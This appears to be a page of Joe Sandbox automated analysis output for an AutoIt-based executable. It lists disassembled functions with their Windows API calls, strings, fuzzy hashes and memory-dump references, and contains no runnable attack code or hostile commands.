Instruction Fuzzy Hash: BBB16931600215EBDF54CF68C9857AE7BF2FF85701F18C0A9EC69AB296DB31A940CB51

Function 00B4ED19 Relevance: 12.1, APIs: 8, Instructions: 137timeCOMMON

Download Yara Rule

APIs

GetLocalTime.KERNEL32 ref: 00B4ED2A
_wcslen.LIBCMT ref: 00B4ED3B
_wcslen.LIBCMT ref: 00B4ED79
_wcslen.LIBCMT ref: 00B4EDAF
_wcslen.LIBCMT ref: 00B4EDDF
_wcslen.LIBCMT ref: 00B4EDEF
_wcslen.LIBCMT ref: 00B4EE2B
_wcslen.LIBCMT ref: 00B4EE5A

Memory Dump Source

Source File: 00000006.00000002.4098458824.0000000000AE1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00AE0000, based on PE: true

Associated: 00000006.00000002.4098425445.0000000000AE0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098545678.0000000000B7C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098545678.0000000000BA2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098636988.0000000000BAC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098690661.0000000000BB4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_ae0000_9963a8aba7.jbxd

Similarity

API ID: _wcslen$LocalTime
String ID:
API String ID: 952045576-0
Opcode ID: b92aab13a2db0db87d414114f91e3a74186da0afb8f7562dbfc3b43f9ff9a247
Instruction ID: c3564e8cdd6fb592b6942834b64775dde991c1a60d399f8c16e0d9d78b74baed
Opcode Fuzzy Hash: b92aab13a2db0db87d414114f91e3a74186da0afb8f7562dbfc3b43f9ff9a247
Instruction Fuzzy Hash: C5419365C1021879CB11EBF4C88A9CFBBE8EF45710F5084A6E528E31A1FB34E755C3A5

Function 00AFF8D8 Relevance: 12.1, APIs: 8, Instructions: 124COMMON

Download Yara Rule

APIs

ShowWindow.USER32(FFFFFFFF,000000FF,?,00000000,?,00B3682C,00000004,00000000,00000000), ref: 00AFF953
ShowWindow.USER32(FFFFFFFF,00000006,?,00000000,?,00B3682C,00000004,00000000,00000000), ref: 00B3F3D1
ShowWindow.USER32(FFFFFFFF,000000FF,?,00000000,?,00B3682C,00000004,00000000,00000000), ref: 00B3F454

Memory Dump Source

Source File: 00000006.00000002.4098458824.0000000000AE1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00AE0000, based on PE: true

Associated: 00000006.00000002.4098425445.0000000000AE0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098545678.0000000000B7C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098545678.0000000000BA2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098636988.0000000000BAC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098690661.0000000000BB4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_ae0000_9963a8aba7.jbxd

Similarity

API ID: ShowWindow
String ID:
API String ID: 1268545403-0
Opcode ID: f8a7b6430aa09dbd31a1fe60b0178cc5073e4aee36e81fee43c52517d992248c
Instruction ID: 0452cc81bd74e9ee80097bd476a4350b126822060f7bf8ba482f4c89675fdede
Opcode Fuzzy Hash: f8a7b6430aa09dbd31a1fe60b0178cc5073e4aee36e81fee43c52517d992248c
Instruction Fuzzy Hash: 94411A31604688BEC7398B6D8DD877A7FE1AF56310F64447DF29B53660CBB2A880CB11

Function 00B72D03 Relevance: 12.1, APIs: 8, Instructions: 95windowCOMMON

Download Yara Rule

APIs

DeleteObject.GDI32(00000000), ref: 00B72D1B
GetDC.USER32(00000000), ref: 00B72D23
GetDeviceCaps.GDI32(00000000,0000005A), ref: 00B72D2E
ReleaseDC.USER32(00000000,00000000), ref: 00B72D3A
CreateFontW.GDI32(?,00000000,00000000,00000000,?,00000000,00000000,00000000,00000001,00000004,00000000,?,00000000,?), ref: 00B72D76
SendMessageW.USER32(?,00000030,00000000,00000001), ref: 00B72D87
MoveWindow.USER32(?,?,?,?,?,00000000,?,?,00B75A65,?,?,000000FF,00000000,?,000000FF,?), ref: 00B72DC2
SendMessageW.USER32(?,00000142,00000000,00000000), ref: 00B72DE1

Memory Dump Source

Source File: 00000006.00000002.4098458824.0000000000AE1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00AE0000, based on PE: true

Associated: 00000006.00000002.4098425445.0000000000AE0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098545678.0000000000B7C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098545678.0000000000BA2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098636988.0000000000BAC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098690661.0000000000BB4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_ae0000_9963a8aba7.jbxd

Similarity

API ID: MessageSend$CapsCreateDeleteDeviceFontMoveObjectReleaseWindow
String ID:
API String ID: 3864802216-0
Opcode ID: 1dad80ce005aeca6d178bb680fd05a352bfa00c238ca8d18e65821656434ce84
Instruction ID: e1436c750487969aef7288ddbfd7db33d55cdbfbdf64e4dae2c453c7a2e5b737
Opcode Fuzzy Hash: 1dad80ce005aeca6d178bb680fd05a352bfa00c238ca8d18e65821656434ce84
Instruction Fuzzy Hash: EF314D72201214BFEB214F548C89FEB3FA9EB09755F044069FE0C9B291DA759C91C7A4

Function 00B45622 Relevance: 12.1, APIs: 8, Instructions: 92COMMON

Download Yara Rule

APIs

_memcmp.LIBVCRUNTIME ref: 00B45637
_memcmp.LIBVCRUNTIME ref: 00B45659
_memcmp.LIBVCRUNTIME ref: 00B45671
_memcmp.LIBVCRUNTIME ref: 00B45684
_memcmp.LIBVCRUNTIME ref: 00B4569E
_memcmp.LIBVCRUNTIME ref: 00B456B1
_memcmp.LIBVCRUNTIME ref: 00B456C9
_memcmp.LIBVCRUNTIME ref: 00B456E4

Memory Dump Source

Source File: 00000006.00000002.4098458824.0000000000AE1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00AE0000, based on PE: true

Associated: 00000006.00000002.4098425445.0000000000AE0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098545678.0000000000B7C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098545678.0000000000BA2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098636988.0000000000BAC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098690661.0000000000BB4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_ae0000_9963a8aba7.jbxd

Similarity

API ID: _memcmp
String ID:
API String ID: 2931989736-0
Opcode ID: 6d90f21c4adf1649af43d7a4cae45685223e851309a0500a59d5ac9d749ef2cf
Instruction ID: 2d969094a08550869aba5a9a6a98b092ceb3e4b15c6ceb6c423ad12ea3240bad
Opcode Fuzzy Hash: 6d90f21c4adf1649af43d7a4cae45685223e851309a0500a59d5ac9d749ef2cf
Instruction Fuzzy Hash: 92219861640D197BD62959244E82FBA33DDEE21784F5540B0FD085A682FB30EF1195AD

Function 00B64FAE Relevance: 10.9, APIs: 4, Strings: 2, Instructions: 359COMMON

Download Yara Rule

Strings

Not an Object type, xrefs: 00B65007
NULL Pointer assignment, xrefs: 00B6502E, 00B65383

Memory Dump Source

Source File: 00000006.00000002.4098458824.0000000000AE1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00AE0000, based on PE: true

Associated: 00000006.00000002.4098425445.0000000000AE0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098545678.0000000000B7C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098545678.0000000000BA2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098636988.0000000000BAC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098690661.0000000000BB4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_ae0000_9963a8aba7.jbxd

Similarity

API ID:
String ID: NULL Pointer assignment$Not an Object type
API String ID: 0-572801152
Opcode ID: fd476fd87b1bd4f892b6572b69f890892740ff64a7a2beeb755f3c13979f4550
Instruction ID: 5b93888e7c30e1dac2e50e05b9cce3f265896224a6c6712dec7ee28e648ba619
Opcode Fuzzy Hash: fd476fd87b1bd4f892b6572b69f890892740ff64a7a2beeb755f3c13979f4550
Instruction Fuzzy Hash: F0D1A371A0060AAFDF20CFA8C891BAEB7F5FF48344F1480A9E915AB281D775DD55CB50

Function 00B21522 Relevance: 10.8, APIs: 7, Instructions: 268COMMON

Download Yara Rule

APIs

GetCPInfo.KERNEL32(?,?), ref: 00B215CE
MultiByteToWideChar.KERNEL32(?,00000009,?,?,00000000,00000000), ref: 00B21651
MultiByteToWideChar.KERNEL32(?,00000001,?,?,00000000,?), ref: 00B216E4
MultiByteToWideChar.KERNEL32(?,00000009,?,?,00000000,00000000), ref: 00B216FB

Part of subcall function 00B13820: RtlAllocateHeap.NTDLL(00000000,?,00BB1444,?,00AFFDF5,?,?,00AEA976,00000010,00BB1440,00AE13FC,?,00AE13C6,?,00AE1129), ref: 00B13852

MultiByteToWideChar.KERNEL32(?,00000001,?,?,00000000,?), ref: 00B21777
__freea.LIBCMT ref: 00B217A2
__freea.LIBCMT ref: 00B217AE

Memory Dump Source

Source File: 00000006.00000002.4098458824.0000000000AE1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00AE0000, based on PE: true

Associated: 00000006.00000002.4098425445.0000000000AE0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098545678.0000000000B7C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098545678.0000000000BA2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098636988.0000000000BAC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098690661.0000000000BB4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_ae0000_9963a8aba7.jbxd

Similarity

API ID: ByteCharMultiWide$__freea$AllocateHeapInfo
String ID:
API String ID: 2829977744-0
Opcode ID: 47df7befac70626c96d1e27a2730b8484f4e8ea36edf88151296323a52dac265
Instruction ID: 845b8af0e86b9107d1002a2cb9e6a60c8bc1a68c68f7ba02728c07a648737130
Opcode Fuzzy Hash: 47df7befac70626c96d1e27a2730b8484f4e8ea36edf88151296323a52dac265
Instruction Fuzzy Hash: 1691B771E002265EDF218E78E881AEE7BF5DFA9710F184AE9E809E7151DB35DD40C7A0

Function 00B64523 Relevance: 10.8, APIs: 4, Strings: 2, Instructions: 262COMMON

Download Yara Rule

APIs

VariantInit.OLEAUT32(?), ref: 00B64648
VariantInit.OLEAUT32(?), ref: 00B64749
VariantClear.OLEAUT32(?), ref: 00B64753
VariantClear.OLEAUT32(?), ref: 00B647B0

Strings

Incorrect Object type in FOR..IN loop, xrefs: 00B6472C
Null Object assignment in FOR..IN loop, xrefs: 00B645D8, 00B64706, 00B647BE

Memory Dump Source

Source File: 00000006.00000002.4098458824.0000000000AE1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00AE0000, based on PE: true

Associated: 00000006.00000002.4098425445.0000000000AE0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098545678.0000000000B7C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098545678.0000000000BA2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098636988.0000000000BAC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098690661.0000000000BB4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_ae0000_9963a8aba7.jbxd

Similarity

API ID: Variant$ClearInit
String ID: Incorrect Object type in FOR..IN loop$Null Object assignment in FOR..IN loop
API String ID: 2610073882-625585964
Opcode ID: 453be9aee6bf62bd3fa7e1cb2ca8cd3e4a1cc6cabf2607717144a510578fe6ef
Instruction ID: e2124e50345ac945224e55d44d956bed84d902300630fab883b5533bdbcef307
Opcode Fuzzy Hash: 453be9aee6bf62bd3fa7e1cb2ca8cd3e4a1cc6cabf2607717144a510578fe6ef
Instruction Fuzzy Hash: 75917971A00619AFDF20CFA5D888FAEBBF8EF46710F108599F515AB280D7749945CFA0

Function 00B51187 Relevance: 10.8, APIs: 7, Instructions: 254COMMON

Download Yara Rule

APIs

SafeArrayGetVartype.OLEAUT32(00000001,?), ref: 00B5125C
SafeArrayAccessData.OLEAUT32(00000000,?), ref: 00B51284
SafeArrayUnaccessData.OLEAUT32(00000001), ref: 00B512A8
SafeArrayAccessData.OLEAUT32(00000001,?), ref: 00B512D8
SafeArrayAccessData.OLEAUT32(00000001,?), ref: 00B5135F
SafeArrayAccessData.OLEAUT32(00000001,?), ref: 00B513C4
SafeArrayAccessData.OLEAUT32(00000001,?), ref: 00B51430

Memory Dump Source

Source File: 00000006.00000002.4098458824.0000000000AE1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00AE0000, based on PE: true

Associated: 00000006.00000002.4098425445.0000000000AE0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098545678.0000000000B7C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098545678.0000000000BA2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098636988.0000000000BAC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098690661.0000000000BB4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_ae0000_9963a8aba7.jbxd

Similarity

API ID: ArraySafe$Data$Access$UnaccessVartype
String ID:
API String ID: 2550207440-0
Opcode ID: 9bfb76073e697d122168d93597b8e201b30beb4a99efd90926cccbd1873443bf
Instruction ID: 4e8747031fb19914a503848c84e6e5932faa6980f6c871fdb7af427286f64ad9
Opcode Fuzzy Hash: 9bfb76073e697d122168d93597b8e201b30beb4a99efd90926cccbd1873443bf
Instruction Fuzzy Hash: DA91E071A00208AFDB00DFA8D885BBEB7F5FF45316F1048E9E910EB291D775A949CB90

Function 00AF948A Relevance: 10.8, APIs: 7, Instructions: 254COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.4098458824.0000000000AE1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00AE0000, based on PE: true

Associated: 00000006.00000002.4098425445.0000000000AE0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098545678.0000000000B7C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098545678.0000000000BA2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098636988.0000000000BAC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098690661.0000000000BB4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_ae0000_9963a8aba7.jbxd

Similarity

API ID: ObjectSelect$BeginCreatePath
String ID:
API String ID: 3225163088-0
Opcode ID: aef5836dd525f6435c279abb56abfa92cd444986b5e363076ed39d8e5b38a586
Instruction ID: 9ff164f740bea7ad2e7e00fc7a5e288f5d3c30060c4d4b32cf90054f43139017
Opcode Fuzzy Hash: aef5836dd525f6435c279abb56abfa92cd444986b5e363076ed39d8e5b38a586
Instruction Fuzzy Hash: 31912571D40219AFCB14CFE9CC84AEEBBB8FF49320F248059E615B7251D774A942CBA0

Function 00B63947 Relevance: 10.7, APIs: 4, Strings: 2, Instructions: 240COMMON

Download Yara Rule

APIs

VariantInit.OLEAUT32(?), ref: 00B6396B
CharUpperBuffW.USER32(?,?), ref: 00B63A7A
_wcslen.LIBCMT ref: 00B63A8A
VariantClear.OLEAUT32(?), ref: 00B63C1F

Part of subcall function 00B50CDF: VariantInit.OLEAUT32(00000000), ref: 00B50D1F
Part of subcall function 00B50CDF: VariantCopy.OLEAUT32(?,?), ref: 00B50D28
Part of subcall function 00B50CDF: VariantClear.OLEAUT32(?), ref: 00B50D34

Strings

Incorrect Parameter format, xrefs: 00B639A6, 00B63BA1
AUTOIT.ERROR, xrefs: 00B63A80, 00B63A85

Memory Dump Source

Source File: 00000006.00000002.4098458824.0000000000AE1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00AE0000, based on PE: true

Associated: 00000006.00000002.4098425445.0000000000AE0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098545678.0000000000B7C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098545678.0000000000BA2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098636988.0000000000BAC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098690661.0000000000BB4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_ae0000_9963a8aba7.jbxd

Similarity

API ID: Variant$ClearInit$BuffCharCopyUpper_wcslen
String ID: AUTOIT.ERROR$Incorrect Parameter format
API String ID: 4137639002-1221869570
Opcode ID: 10a117874da4d54b32324db9bc7e7bdaf04d1da9d40974664aa28a005d43a039
Instruction ID: f26724e2e28836e3d50d8f03fd95f02876102307ba20e5e8151682eb77f1ab00
Opcode Fuzzy Hash: 10a117874da4d54b32324db9bc7e7bdaf04d1da9d40974664aa28a005d43a039
Instruction Fuzzy Hash: BC9177746083459FC710EF68C58092ABBE4FF89714F1488ADF88A9B351DB34EE45CB92

Function 00B64BAD Relevance: 10.7, APIs: 5, Strings: 1, Instructions: 236COMMON

Download Yara Rule

APIs

Part of subcall function 00B4000E: CLSIDFromProgID.OLE32(?,?,?,00000000,?,?,?,-C000001E,00000001,?,00B3FF41,80070057,?,?,?,00B4035E), ref: 00B4002B
Part of subcall function 00B4000E: ProgIDFromCLSID.OLE32(?,00000000,?,?,?,00000000,?,?,?,-C000001E,00000001,?,00B3FF41,80070057,?,?), ref: 00B40046
Part of subcall function 00B4000E: lstrcmpiW.KERNEL32(?,00000000,?,?,?,00000000,?,?,?,-C000001E,00000001,?,00B3FF41,80070057,?,?), ref: 00B40054
Part of subcall function 00B4000E: CoTaskMemFree.OLE32(00000000,?,00000000,?,?,?,00000000,?,?,?,-C000001E,00000001,?,00B3FF41,80070057,?), ref: 00B40064

CoInitializeSecurity.OLE32(00000000,000000FF,00000000,00000000,00000002,00000003,00000000,00000000,00000000,00000001,?,?), ref: 00B64C51
_wcslen.LIBCMT ref: 00B64D59
CoCreateInstanceEx.OLE32(?,00000000,00000015,?,00000001,?), ref: 00B64DCF
CoTaskMemFree.OLE32(?), ref: 00B64DDA

Strings

NULL Pointer assignment, xrefs: 00B64E23, 00B64E52

Memory Dump Source

Source File: 00000006.00000002.4098458824.0000000000AE1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00AE0000, based on PE: true

Associated: 00000006.00000002.4098425445.0000000000AE0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098545678.0000000000B7C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098545678.0000000000BA2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098636988.0000000000BAC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098690661.0000000000BB4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_ae0000_9963a8aba7.jbxd

Similarity

API ID: FreeFromProgTask$CreateInitializeInstanceSecurity_wcslenlstrcmpi
String ID: NULL Pointer assignment
API String ID: 614568839-2785691316
Opcode ID: aa1fddef019f6f7fa50e54f8000d3c7e012a4c41297a18fa9685f0c45a69be28
Instruction ID: 6a913062f347d8ac78beb2eb29136a0d2b875eae2add7f140dda9c9f6d8ed24d
Opcode Fuzzy Hash: aa1fddef019f6f7fa50e54f8000d3c7e012a4c41297a18fa9685f0c45a69be28
Instruction Fuzzy Hash: 1E910671D00219AFDF14DFA4D891AEEBBB9FF08310F1085A9E919A7251DB349E44CF61

Function 00B720FD Relevance: 10.7, APIs: 7, Instructions: 196windowCOMMON

Download Yara Rule

APIs

GetMenu.USER32(?), ref: 00B72183
GetMenuItemCount.USER32(00000000), ref: 00B721B5
GetMenuStringW.USER32(00000000,00000000,?,00007FFF,00000400), ref: 00B721DD
_wcslen.LIBCMT ref: 00B72213
GetMenuItemID.USER32(?,?), ref: 00B7224D
GetSubMenu.USER32(?,?), ref: 00B7225B

Part of subcall function 00B43A3D: GetWindowThreadProcessId.USER32(?,00000000), ref: 00B43A57
Part of subcall function 00B43A3D: GetCurrentThreadId.KERNEL32 ref: 00B43A5E
Part of subcall function 00B43A3D: AttachThreadInput.USER32(00000000,?,00000000,00000000,?,00B425B3), ref: 00B43A65

PostMessageW.USER32(?,00000111,00000000,00000000), ref: 00B722E3

Part of subcall function 00B4E97B: Sleep.KERNELBASE ref: 00B4E9F3

Memory Dump Source

Source File: 00000006.00000002.4098458824.0000000000AE1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00AE0000, based on PE: true

Associated: 00000006.00000002.4098425445.0000000000AE0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098545678.0000000000B7C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098545678.0000000000BA2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098636988.0000000000BAC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098690661.0000000000BB4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_ae0000_9963a8aba7.jbxd

Similarity

API ID: Menu$Thread$Item$AttachCountCurrentInputMessagePostProcessSleepStringWindow_wcslen
String ID:
API String ID: 4196846111-0
Opcode ID: cad2b568ad88060c8b1ca865d4d9ac7ef6b15e40ec4b921a20f57eb61fc59233
Instruction ID: 167bdaf0ba035f5e46ffbf5937b965203a8de1dcb81507e21b09dcdc86d77647
Opcode Fuzzy Hash: cad2b568ad88060c8b1ca865d4d9ac7ef6b15e40ec4b921a20f57eb61fc59233
Instruction Fuzzy Hash: 59716F75E00205AFCB10DF65C885AAEBBF5FF48310F158499E96AEB351DB34EE418B90

Function 00B77E9E Relevance: 10.7, APIs: 7, Instructions: 193windowCOMMON

Download Yara Rule

APIs

IsWindow.USER32(00C36420), ref: 00B77F37
IsWindowEnabled.USER32(00C36420), ref: 00B77F43
SendMessageW.USER32(00000000,0000041C,00000000,00000000), ref: 00B7801E
SendMessageW.USER32(00C36420,000000B0,?,?), ref: 00B78051
IsDlgButtonChecked.USER32(?,?), ref: 00B78089
GetWindowLongW.USER32(00C36420,000000EC), ref: 00B780AB
SendMessageW.USER32(?,000000A1,00000002,00000000), ref: 00B780C3

Memory Dump Source

Source File: 00000006.00000002.4098458824.0000000000AE1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00AE0000, based on PE: true

Associated: 00000006.00000002.4098425445.0000000000AE0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098545678.0000000000B7C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098545678.0000000000BA2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098636988.0000000000BAC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098690661.0000000000BB4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_ae0000_9963a8aba7.jbxd

Similarity

API ID: MessageSendWindow$ButtonCheckedEnabledLong
String ID:
API String ID: 4072528602-0
Opcode ID: 0a9ad0f507609510c049587ba491e87f4ecd4c6ef1ba8f8cbf9f7a1c61699aa9
Instruction ID: 864faec179026439b3bd8e9e74d8d48b6f6e7604321b52a8655cb3b0ed272be7
Opcode Fuzzy Hash: 0a9ad0f507609510c049587ba491e87f4ecd4c6ef1ba8f8cbf9f7a1c61699aa9
Instruction Fuzzy Hash: DD71AE34688284AFEB219F64C9D4FAA7BF5EF09300F148499E9699B261CF31AD45CB50

Function 00B4AEBA Relevance: 10.7, APIs: 7, Instructions: 162windowCOMMON

Download Yara Rule

APIs

GetParent.USER32(?), ref: 00B4AEF9
GetKeyboardState.USER32(?), ref: 00B4AF0E
SetKeyboardState.USER32(?), ref: 00B4AF6F
PostMessageW.USER32(?,00000101,00000010,?), ref: 00B4AF9D
PostMessageW.USER32(?,00000101,00000011,?), ref: 00B4AFBC
PostMessageW.USER32(?,00000101,00000012,?), ref: 00B4AFFD
PostMessageW.USER32(?,00000101,0000005B,?), ref: 00B4B020

Memory Dump Source

Source File: 00000006.00000002.4098458824.0000000000AE1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00AE0000, based on PE: true

Associated: 00000006.00000002.4098425445.0000000000AE0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098545678.0000000000B7C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098545678.0000000000BA2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098636988.0000000000BAC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098690661.0000000000BB4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_ae0000_9963a8aba7.jbxd

Similarity

API ID: MessagePost$KeyboardState$Parent
String ID:
API String ID: 87235514-0
Opcode ID: 2f6d2142e819f5f10b68f4313554023e0296899924d825e7f016faf911f9a5cc
Instruction ID: ca19fcbc1c6258daff3519264930a54317af6637991abb2ab2a064c9bdb4322d
Opcode Fuzzy Hash: 2f6d2142e819f5f10b68f4313554023e0296899924d825e7f016faf911f9a5cc
Instruction Fuzzy Hash: A051B3A06447D53DFB3642348845FBB7EE99B06304F0885C9E2D9968C2D7D8EEC8E752

Function 00B4ACDA Relevance: 10.7, APIs: 7, Instructions: 161windowCOMMON

Download Yara Rule

APIs

GetParent.USER32(00000000), ref: 00B4AD19
GetKeyboardState.USER32(?), ref: 00B4AD2E
SetKeyboardState.USER32(?), ref: 00B4AD8F
PostMessageW.USER32(00000000,00000100,00000010,?), ref: 00B4ADBB
PostMessageW.USER32(00000000,00000100,00000011,?), ref: 00B4ADD8
PostMessageW.USER32(00000000,00000100,00000012,?), ref: 00B4AE17
PostMessageW.USER32(00000000,00000100,0000005B,?), ref: 00B4AE38

Memory Dump Source

Source File: 00000006.00000002.4098458824.0000000000AE1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00AE0000, based on PE: true

Associated: 00000006.00000002.4098425445.0000000000AE0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098545678.0000000000B7C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098545678.0000000000BA2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098636988.0000000000BAC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098690661.0000000000BB4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_ae0000_9963a8aba7.jbxd

Similarity

API ID: MessagePost$KeyboardState$Parent
String ID:
API String ID: 87235514-0
Opcode ID: f4c889cc1050c94eeacad49cf3de4363d40b18ca55c26b9a6439bfdfd917aa8d
Instruction ID: 0b770c96eea193c02f9baeecd3892d8a2b09ea32ad5ade71b6ea053d0dcffbcc
Opcode Fuzzy Hash: f4c889cc1050c94eeacad49cf3de4363d40b18ca55c26b9a6439bfdfd917aa8d
Instruction Fuzzy Hash: 8D51E6A19887D53DFB3683348C85B7ABEE89B45300F0884DCE1E5568C3C694EE84F752

Function 00B1542E Relevance: 10.7, APIs: 7, Instructions: 152fileCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetConsoleCP.KERNEL32(00B23CD6,?,?,?,?,?,?,?,?,00B15BA3,?,?,00B23CD6,?,?), ref: 00B15470
__fassign.LIBCMT ref: 00B154EB
__fassign.LIBCMT ref: 00B15506
WideCharToMultiByte.KERNEL32(?,00000000,?,00000001,00B23CD6,00000005,00000000,00000000), ref: 00B1552C
WriteFile.KERNEL32(?,00B23CD6,00000000,00B15BA3,00000000,?,?,?,?,?,?,?,?,?,00B15BA3,?), ref: 00B1554B
WriteFile.KERNEL32(?,?,00000001,00B15BA3,00000000,?,?,?,?,?,?,?,?,?,00B15BA3,?), ref: 00B15584

Memory Dump Source

Source File: 00000006.00000002.4098458824.0000000000AE1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00AE0000, based on PE: true

